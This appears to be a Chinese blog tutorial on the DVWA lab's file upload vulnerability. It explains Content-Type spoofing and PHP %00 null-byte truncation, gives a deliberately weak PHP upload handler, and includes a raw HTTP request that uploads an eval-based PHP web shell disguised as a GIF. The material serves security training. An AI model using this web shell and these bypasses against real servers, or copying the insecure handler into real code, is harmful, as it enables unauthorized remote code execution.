zoukankan      html  css  js  c++  java
  • 【DVWA】Web漏洞实战之File Upload

    File Upload

    File Upload,即文件上传漏洞,一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。

    LOW

    直接上传任意文件

     MEDIUM

     验证Content-Type,修改Content-Type为 image/jpeg直接绕过

    HIGH

    验证了后缀名、文件大小及限制了上传文件的文件头必须为图像类型。

    利用条件:

    在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为1.php%00.png。

    高PHP版本会将%00转换成,高版本截断失效。

    PHP 本地测试代码:

    <html>
    <body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" /> 
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
    </body>
    </html>
    
    
    <?php
    $uploaded_name = $_FILES[ 'file' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    
    if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/pjpeg"))
    && ($_FILES["file"]["size"] < 20000))
      {
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Error: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "houzhui: ".$uploaded_ext;
        echo "<br />";
        echo "<pre>";
        echo print_r($_FILES);
        echo "</pre>"; 
        move_uploaded_file($_FILES["file"]["tmp_name"],"imag/" . $_FILES["file"]["name"]);
        }
      }
    else
      {
      echo "Invalid file";
      }
    
    ?>
    

    测试记录:

    上传1.php.jpg 拦截 00截断

     服务端获取到的文件名$_FILES["file"]["name"]为1.php

    00截断漏洞:

    该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。

    语法 1 move_uploaded_file ( string $filename , string $destination )

    这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符x00来截断后面的拓展名,从而造成任意文件上传。

    POST /dede/upload.php HTTP/1.1
    Host: 192.168.106.141
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------96431875028546
    Content-Length: 3160
    
    -----------------------------96431875028546
    Content-Disposition: form-data; name="file"; filename="3.jpg"
    Content-Type: image/jpeg
    
    GIF89aP 111111111111111
    <?php eval($_POST[g]);?>
    -----------------------------96431875028546
    Content-Disposition: form-data; name="xxname"
    
    1111111.php .jpg #进行截断
    -----------------------------96431875028546
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------96431875028546--

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考链接:

      文件上传之绕过 http://www.jianshu.com/p/4e2248c486ee

          文件上传漏洞(绕过姿势)       https://zhuanlan.zhihu.com/p/25220150

      新手指南:DVWA-1.9全级别教程之File Upload  http://www.freebuf.com/articles/web/119467.html

         PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 http://bobao.360.cn/news/detail/1383.html

  • 相关阅读:
    2013年工作中遇到的20个问题:81-100
    2013年工作中遇到的20个问题:81-100
    码农:客户是恶魔
    码农:客户是恶魔
    C# DataGridView 使用
    Java实现 LeetCode 203 移除链表元素
    Java实现 LeetCode 203 移除链表元素
    Java实现 LeetCode 202 快乐数
    Java实现 LeetCode 202 快乐数
    Java实现 LeetCode 202 快乐数
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6535136.html
Copyright © 2011-2022 走看看